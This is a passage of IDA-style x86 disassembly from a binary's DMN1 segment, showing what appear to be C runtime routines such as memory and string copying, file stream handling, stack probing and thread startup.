mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
mov [ebx], edi
mov eax, [ebp+var_8]
mov dword_4111FC, eax
mov dword_4111A8[eax*4], ebx
loc_4494BE: ; CODE XREF: sub_449151+26j
; sub_449151+27Aj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449151 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4494D1 proc near ; CODE XREF: sub_443397+Fp
; DMN1:00443459p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00449544 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8A4
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
test ebx, ebx
jz short loc_449544
lea eax, [ebx-4]
cmp eax, dword_4111D0
jbe short loc_449511
cmp eax, dword_4111CC
jb short loc_44951A
loc_449511: ; CODE XREF: sub_4494D1+36j
push ebx
call sub_44AA11
pop ecx
jmp short loc_449544
; ---------------------------------------------------------------------------
loc_44951A: ; CODE XREF: sub_4494D1+3Ej
push 0
call sub_44AB21
pop ecx
mov [ebp+var_4], 0
push ebx
call sub_449151
pop ecx
or [ebp+var_4], 0FFFFFFFFh
call sub_44953B
jmp short loc_449544
sub_4494D1 endp
; =============== S U B R O U T I N E =======================================
sub_44953B proc near ; CODE XREF: sub_4494D1+63p
push 0
call sub_44ABA1
pop ecx
retn
sub_44953B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4494D1
loc_449544: ; CODE XREF: sub_4494D1+2Bj
; sub_4494D1+47j ...
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4494D1
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov esi, [ebp+10h]
mov edi, ebx
cmp [edi+4], esi
jnb short loc_449577
mov esi, [edi+4]
loc_449577: ; CODE XREF: DMN1:00449572j
push esi
mov eax, [ebp+0Ch]
push eax
mov eax, [edi]
push eax
call sub_449A11
add esp, 0Ch
mov eax, [edi]
add eax, esi
mov [edi], eax
sub [edi+4], esi
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4495A1 proc near ; CODE XREF: DMN1:00443411p
; DMN1:00443441p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
cmp [ebp+arg_4], 0
jnz short loc_4495BD
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
mov [ebp+var_4], 0
jmp short loc_4495CD
; ---------------------------------------------------------------------------
loc_4495BD: ; CODE XREF: sub_4495A1+Bj
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
mov [ebp+var_4], eax
loc_4495CD: ; CODE XREF: sub_4495A1+1Aj
mov eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_8]
push eax
push offset sub_407240
call sub_44ABC1
add esp, 10h
mov ebx, eax
mov edx, [ebp+var_8]
mov byte ptr [edx], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
retn
sub_4495A1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BFh, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov esi, [ebp+10h]
push 0
lea eax, [ebp-4]
push eax
push esi
mov eax, [ebp+0Ch]
push eax
push ebx
call dword_411D94
test eax, eax
jz short loc_44962F
cmp [ebp-4], esi
jnz short loc_44962F
mov edi, ebx
jmp short loc_449631
; ---------------------------------------------------------------------------
loc_44962F: ; CODE XREF: DMN1:00449624j
; DMN1:00449629j
xor edi, edi
loc_449631: ; CODE XREF: DMN1:0044962Dj
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449641 proc near ; CODE XREF: DMN1:00443451p
; DMN1:0044346Dp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_44AE41
mov ebx, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44965A
or eax, 0FFFFFFFFh
jmp short loc_449672
; ---------------------------------------------------------------------------
loc_44965A: ; CODE XREF: sub_449641+12j
lea edi, [ebp+arg_4]
push edi
mov eax, [ebp+arg_0]
push eax
push ebx
push offset sub_4072E0
call sub_44ABC1
add esp, 10h
mov esi, eax
loc_449672: ; CODE XREF: sub_449641+17j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_449641 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+10h]
push ebx
mov eax, [ebp+0Ch]
push eax
mov eax, [ebp+8]
push eax
call sub_449A11
add esp, 0Ch
add eax, ebx
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4496A1 proc near ; CODE XREF: DMN1:004434EDp
; sub_4448CA+17Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea esi, [ebp+arg_8]
push esi
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_407360
call sub_44ABC1
add esp, 10h
mov ebx, eax
test ebx, ebx
jl short loc_4496CC
mov eax, [ebp+arg_0]
mov byte ptr [eax+ebx], 0
loc_4496CC: ; CODE XREF: sub_4496A1+22j
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4496A1 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4496E1 proc near ; CODE XREF: DMN1:00443512p
; sub_445B59+77p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 00449745 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8B0
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_44AB21
pop ecx
mov [ebp+var_4], 0
call sub_44AEA1
push 0FFFFFFFFh
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44AF01
add esp, 10h
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_44973C
jmp short loc_449745
sub_4496E1 endp
; =============== S U B R O U T I N E =======================================
sub_44973C proc near ; CODE XREF: sub_4496E1+54p
push 6
call sub_44ABA1
pop ecx
retn
sub_44973C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4496E1
loc_449745: ; CODE XREF: sub_4496E1+59j
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4496E1
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+8]
mov esi, [ebp+10h]
push ebx
push esi
push 1
mov eax, [ebp+0Ch]
push eax
call sub_449B41
add esp, 10h
cmp eax, esi
jnz short loc_449785
mov edi, ebx
jmp short loc_449787
; ---------------------------------------------------------------------------
loc_449785: ; CODE XREF: DMN1:0044977Fj
xor edi, edi
loc_449787: ; CODE XREF: DMN1:00449783j
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449791 proc near ; CODE XREF: DMN1:0044352Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
push offset sub_407440
call sub_44ABC1
add esp, 10h
mov ebx, eax
pop ebx
pop ebp
retn
sub_449791 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
loc_4497C4: ; CODE XREF: DMN1:004497DDj
mov eax, off_411370[ebx*4]
test eax, eax
jz short loc_4497D6
push eax
call sub_449941
pop ecx
loc_4497D6: ; CODE XREF: DMN1:004497CDj
inc ebx
cmp ebx, 100h
jb short loc_4497C4
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4497E1 proc near ; CODE XREF: sub_44AF01:loc_44B035p
; sub_44B281+B2p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00449848 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8BC
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_44AB21
pop ecx
mov [ebp+var_4], 0
cmp dword_41105C, 0
jnz short loc_449834
mov dword_41105C, 1
push offset sub_4074A0
call sub_44B051
pop ecx
loc_449834: ; CODE XREF: sub_4497E1+3Cj
or [ebp+var_4], 0FFFFFFFFh
call sub_44983F
jmp short loc_449848
sub_4497E1 endp
; =============== S U B R O U T I N E =======================================
sub_44983F proc near ; CODE XREF: sub_4497E1+57p
push 6
call sub_44ABA1
pop ecx
retn
sub_44983F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4497E1
loc_449848: ; CODE XREF: sub_4497E1+5Cj
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4497E1
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449861 proc near ; CODE XREF: sub_449941+39p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
push ebx
call sub_44B081
pop ecx
mov esi, eax
test word ptr [ebx], 40h
jz short loc_449882
mov eax, [ebx+8]
push eax
call sub_4494D1
pop ecx
loc_449882: ; CODE XREF: sub_449861+15j
mov dword ptr [ebx+8], 0
mov eax, [ebx+4]
test eax, eax
jl short loc_44989E
push eax
call sub_44B201
pop ecx
test eax, eax
jz short loc_44989E
or esi, 0FFFFFFFFh
loc_44989E: ; CODE XREF: sub_449861+2Dj
; sub_449861+38j
mov eax, [ebx+3Ch]
test eax, eax
jz short loc_4498C4
push eax
call sub_449E71
pop ecx
test eax, eax
jz short loc_4498B3
or esi, 0FFFFFFFFh
loc_4498B3: ; CODE XREF: sub_449861+4Dj
mov eax, [ebx+3Ch]
push eax
call sub_4494D1
pop ecx
mov dword ptr [ebx+3Ch], 0
loc_4498C4: ; CODE XREF: sub_449861+42j
test word ptr [ebx], 80h
jz short loc_4498F5
xor edi, edi
loc_4498CD: ; CODE XREF: sub_449861+89j
cmp ebx, off_411370[edi*4]
jnz short loc_4498E3
mov off_411370[edi*4], 0
jmp short loc_4498EC
; ---------------------------------------------------------------------------
loc_4498E3: ; CODE XREF: sub_449861+73j
inc edi
cmp edi, 100h
jb short loc_4498CD
loc_4498EC: ; CODE XREF: sub_449861+80j
push ebx
call sub_4494D1
pop ecx
jmp short loc_44992E
; ---------------------------------------------------------------------------
loc_4498F5: ; CODE XREF: sub_449861+68j
mov word ptr [ebx], 0
or dword ptr [ebx+4], 0FFFFFFFFh
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
loc_44992E: ; CODE XREF: sub_449861+92j
mov eax, esi
pop edi
pop esi
pop ebx
retn
sub_449861 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449941 proc near ; CODE XREF: DMN1:00443535p
; sub_445B59+108p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00449997 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8C8
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 6
call sub_44AB21
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_449861
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_44998E
jmp short loc_449997
sub_449941 endp
; =============== S U B R O U T I N E =======================================
sub_44998E proc near ; CODE XREF: sub_449941+46p
push 6
call sub_44ABA1
pop ecx
retn
sub_44998E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_449941
loc_449997: ; CODE XREF: sub_449941+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_449941
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_4499B1 proc near ; CODE XREF: sub_443888+Fp
; sub_4438D8+Fp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
test edx, edx
jz short loc_4499FF
mov ecx, [esp+arg_0]
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4499F8
neg ecx
and ecx, 3
jz short loc_4499DA
sub edx, ecx
loc_4499D4: ; CODE XREF: sub_4499B1+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4499D4
loc_4499DA: ; CODE XREF: sub_4499B1+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4499F8
rep stosd
test edx, edx
jz short loc_4499FE
loc_4499F8: ; CODE XREF: sub_4499B1+18j
; sub_4499B1+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4499F8
loc_4499FE: ; CODE XREF: sub_4499B1+45j
pop edi
loc_4499FF: ; CODE XREF: sub_4499B1+6j
mov eax, [esp+arg_0]
retn
sub_4499B1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449A11 proc near ; CODE XREF: sub_443D76+2Cp
; sub_443DFB+57p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov ebx, [esp+4+arg_0]
mov edx, [esp+4+arg_4]
jmp short loc_449A27
; ---------------------------------------------------------------------------
loc_449A20: ; CODE XREF: sub_449A11+18j
mov al, [edx]
mov [ebx], al
inc ebx
inc edx
dec ecx
loc_449A27: ; CODE XREF: sub_449A11+Dj
test ecx, ecx
jnz short loc_449A20
mov eax, [esp+4+arg_0]
pop ebx
retn
sub_449A11 endp
; =============== S U B R O U T I N E =======================================
sub_449A31 proc near ; CODE XREF: sub_444529+2Ep
; sub_444832+11p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov edx, ecx
jmp short loc_449A3A
; ---------------------------------------------------------------------------
loc_449A39: ; CODE XREF: sub_449A31+Cj
inc edx
loc_449A3A: ; CODE XREF: sub_449A31+6j
cmp byte ptr [edx], 0
jnz short loc_449A39
mov eax, edx
sub eax, ecx
retn
sub_449A31 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449A51 proc near ; CODE XREF: sub_4445B7+3Fp
; sub_4448CA+2D6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push edi
mov ecx, [esp+8+arg_0]
mov ebx, [esp+8+arg_4]
mov edi, ecx
loc_449A5D: ; CODE XREF: sub_449A51+18j
mov eax, edi
inc edi
mov edx, ebx
inc ebx
mov dl, [edx]
mov [eax], dl
test dl, dl
jnz short loc_449A5D
mov eax, ecx
pop edi
pop ebx
retn
sub_449A51 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_449A71 proc near ; CODE XREF: sub_4445B7+53p
; sub_4445B7+66p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ecx, [esp+4+arg_0]
mov ebx, [esp+4+arg_4]
mov edx, ecx
jmp short loc_449A7F
; ---------------------------------------------------------------------------
loc_449A7E: ; CODE XREF: sub_449A71+11j
inc edx
loc_449A7F: ; CODE XREF: sub_449A71+Bj
cmp byte ptr [edx], 0
jnz short loc_449A7E
jmp short loc_449A88
; ---------------------------------------------------------------------------
loc_449A86: ; CODE XREF: sub_449A71+1Dj
inc edx
inc ebx
loc_449A88: ; CODE XREF: sub_449A71+13j
mov al, [ebx]
mov [edx], al
test al, al
jnz short loc_449A86
mov eax, ecx
pop ebx
retn
sub_449A71 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449AA1 proc near ; CODE XREF: sub_4448CA+268p
; sub_4448CA+297p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov ebx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_4]
cmp byte ptr [eax], 0
jnz short loc_449AD1
mov eax, ebx
jmp short loc_449AEA
; ---------------------------------------------------------------------------
loc_449AB5: ; CODE XREF: sub_449AA1+45j
mov edi, ebx
mov esi, [esp+0Ch+arg_4]
loc_449ABB: ; CODE XREF: sub_449AA1+2Dj
inc esi
mov eax, esi
cmp byte ptr [eax], 0
jnz short loc_449AC7
mov eax, ebx
jmp short loc_449AEA
; ---------------------------------------------------------------------------
loc_449AC7: ; CODE XREF: sub_449AA1+20j
inc edi
mov eax, edi
mov dl, [esi]
cmp [eax], dl
jz short loc_449ABB
inc ebx
loc_449AD1: ; CODE XREF: sub_449AA1+Ej
mov eax, [esp+0Ch+arg_4]
movzx eax, byte ptr [eax]
push eax
push ebx
call sub_44B261
add esp, 8
mov ebx, eax
test eax, eax
jnz short loc_449AB5
xor eax, eax
loc_449AEA: ; CODE XREF: sub_449AA1+12j
; sub_449AA1+24j
pop edi
pop esi
pop ebx
retn
sub_449AA1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; ---------------------------------------------------------------------------
pop ecx
pop eax
add eax, 3
and eax, 0FFFFFFFCh
call sub_449B11
mov eax, esp
push ecx
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_449B11 proc near ; CODE XREF: sub_444BB7+8p
; sub_444E23+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_449B31
loc_449B1D: ; CODE XREF: sub_449B11+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_449B1D
loc_449B31: ; CODE XREF: sub_449B11+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_449B11 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449B41 proc near ; CODE XREF: sub_445B59+D8p
; sub_4481D3+CBp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+arg_C]
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
mul [ebp+arg_8]
mov esi, eax
test eax, eax
jz loc_449C45
cmp [ebp+arg_4], 0
jnz loc_449C1B
mov eax, [ebp+arg_8]
jmp loc_449C45
; ---------------------------------------------------------------------------
loc_449B75: ; CODE XREF: sub_449B41+DCj
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
ja short loc_449B8C
push ebx
call sub_44B281
pop ecx
test eax, eax
jl loc_449C23
loc_449B8C: ; CODE XREF: sub_449B41+3Aj
test word ptr [ebx], 400h
jz short loc_449BA7
push esi
push 0Ah
mov eax, [ebp+var_4]
push eax
call sub_44B381
add esp, 0Ch
mov [ebp+var_10], eax
jmp short loc_449BAE
; ---------------------------------------------------------------------------
loc_449BA7: ; CODE XREF: sub_449B41+50j
mov [ebp+var_10], 0
loc_449BAE: ; CODE XREF: sub_449B41+64j
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
test eax, eax
jz short loc_449BC6
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
sub eax, edx
inc eax
mov [ebp+var_14], eax
jmp short loc_449BC9
; ---------------------------------------------------------------------------
loc_449BC6: ; CODE XREF: sub_449B41+75j
mov [ebp+var_14], esi
loc_449BC9: ; CODE XREF: sub_449B41+83j
mov edi, [ebp+var_14]
mov eax, [ebx+18h]
mov edx, [ebx+10h]
sub eax, edx
mov [ebp+var_C], eax
cmp [ebp+var_C], edi
jnb short loc_449BE6
mov [ebp+var_8], 0
mov edi, [ebp+var_C]
loc_449BE6: ; CODE XREF: sub_449B41+99j
push edi
mov eax, [ebp+var_4]
push eax
mov eax, [ebx+10h]
push eax
call sub_449A11
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, edi
mov [ebp+var_4], eax
sub esi, edi
lea eax, [ebx+10h]
mov edx, [eax]
add edx, edi
mov [eax], edx
cmp [ebp+var_8], 0
jz short loc_449C1B
push ebx
call sub_44B081
pop ecx
test eax, eax
jnz short loc_449C23
loc_449C1B: ; CODE XREF: sub_449B41+26j
; sub_449B41+CDj
test esi, esi
jnz loc_449B75
loc_449C23: ; CODE XREF: sub_449B41+45j
; sub_449B41+D8j
test word ptr [ebx], 800h
jz short loc_449C31
push ebx
call sub_44B081
pop ecx
loc_449C31: ; CODE XREF: sub_449B41+E7j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mul [ebp+arg_8]
sub eax, esi
mov edx, [ebp+var_8]
mov ecx, edx
xor edx, edx
div ecx
loc_449C45: ; CODE XREF: sub_449B41+1Cj
; sub_449B41+2Fj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_449B41 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8D4
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
mov ebx, [ebp+8]
push ebx
mov eax, dword_411770
push eax
call dword_411D98
test eax, eax
jnz short loc_449C93
push 1
call sub_44B571
pop ecx
loc_449C93: ; CODE XREF: DMN1:00449C89j
mov dword ptr [ebp-4], 0
mov eax, [ebx+44h]
push eax
call dword ptr [ebx+40h]
pop ecx
call sub_449D81
jmp short loc_449CD1
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov [ebp-1Ch], eax
mov eax, [ebp-14h]
push eax
mov eax, [ebp-1Ch]
push eax
call sub_44B581
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-1Ch]
push eax
call sub_44B571
pop ecx
loc_449CD1: ; CODE XREF: DMN1:00449CA7j
or dword ptr [ebp-4], 0FFFFFFFFh
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, [ebp-10h]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449CF1 proc near ; CODE XREF: DMN1:004462C6p
; DMN1:00446343p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor esi, esi
push 48h
call sub_44A581
pop ecx
mov ebx, eax
test eax, eax
jz short loc_449D60
push ebx
call sub_44B441
pop ecx
mov eax, [ebp+arg_0]
mov [ebx+40h], eax
mov eax, [ebp+arg_8]
mov [ebx+44h], eax
push ebx
push 4
push ebx
push offset sub_407930
mov eax, [ebp+arg_4]
push eax
push 0
call dword_411D9C
mov edi, eax
mov [ebx+4], eax
test eax, eax
jnz short loc_449D42
call dword_411CE8
mov esi, eax
jmp short loc_449D60
; ---------------------------------------------------------------------------
loc_449D42: ; CODE XREF: sub_449CF1+45j
mov eax, edi
push eax
call dword_411DA0
cmp eax, 0FFFFFFFFh
jnz short loc_449D5C
call dword_411CE8
mov esi, eax
jmp short loc_449D60
; ---------------------------------------------------------------------------
loc_449D5C: ; CODE XREF: sub_449CF1+5Fj
mov eax, edi
jmp short loc_449D75
; ---------------------------------------------------------------------------
loc_449D60: ; CODE XREF: sub_449CF1+14j
; sub_449CF1+4Fj ...
push ebx
call sub_4494D1
pop ecx
test esi, esi
jz short loc_449D72
push esi
call sub_44A621
pop ecx
loc_449D72: ; CODE XREF: sub_449CF1+78j
or eax, 0FFFFFFFFh
loc_449D75: ; CODE XREF: sub_449CF1+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_449CF1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_449D81 proc near ; CODE XREF: DMN1:00445E92p
; DMN1:004462FFp ...
push ebx
call sub_44B471
mov ebx, eax
test eax, eax
jnz short loc_449D95
push 1
call sub_44B571
pop ecx
loc_449D95: ; CODE XREF: sub_449D81+Aj
cmp dword ptr [ebx+4], 0FFFFFFFFh
jz short loc_449DA8
mov eax, [ebx+4]
push eax
call dword_411CF8
loc_449DA8: ; CODE XREF: sub_449D81+1Bj
push ebx
call sub_44B4E1
pop ecx
push 0
call dword_411DA4
pop ebx
retn
sub_449D81 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449DC1 proc near ; CODE XREF: sub_447C50+DAp
; sub_447C50+F1p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00449E47 SIZE 0000001B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8E0
push offset sub_408478
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2
call sub_44AB21
pop ecx
mov [ebp+var_4], 0
jmp short loc_449E0D
; ---------------------------------------------------------------------------
loc_449DF8: ; CODE XREF: sub_449DC1+53j
mov eax, dword_4111A0
lea edx, [eax+1]
mov dword_4111A0, edx
call dword_411060[eax*4]
loc_449E0D: ; CODE XREF: sub_449DC1+35j
cmp dword_4111A0, 50h
jb short loc_449DF8
jmp short loc_449E2A
; ---------------------------------------------------------------------------
loc_449E18: ; CODE XREF: sub_449DC1+70j
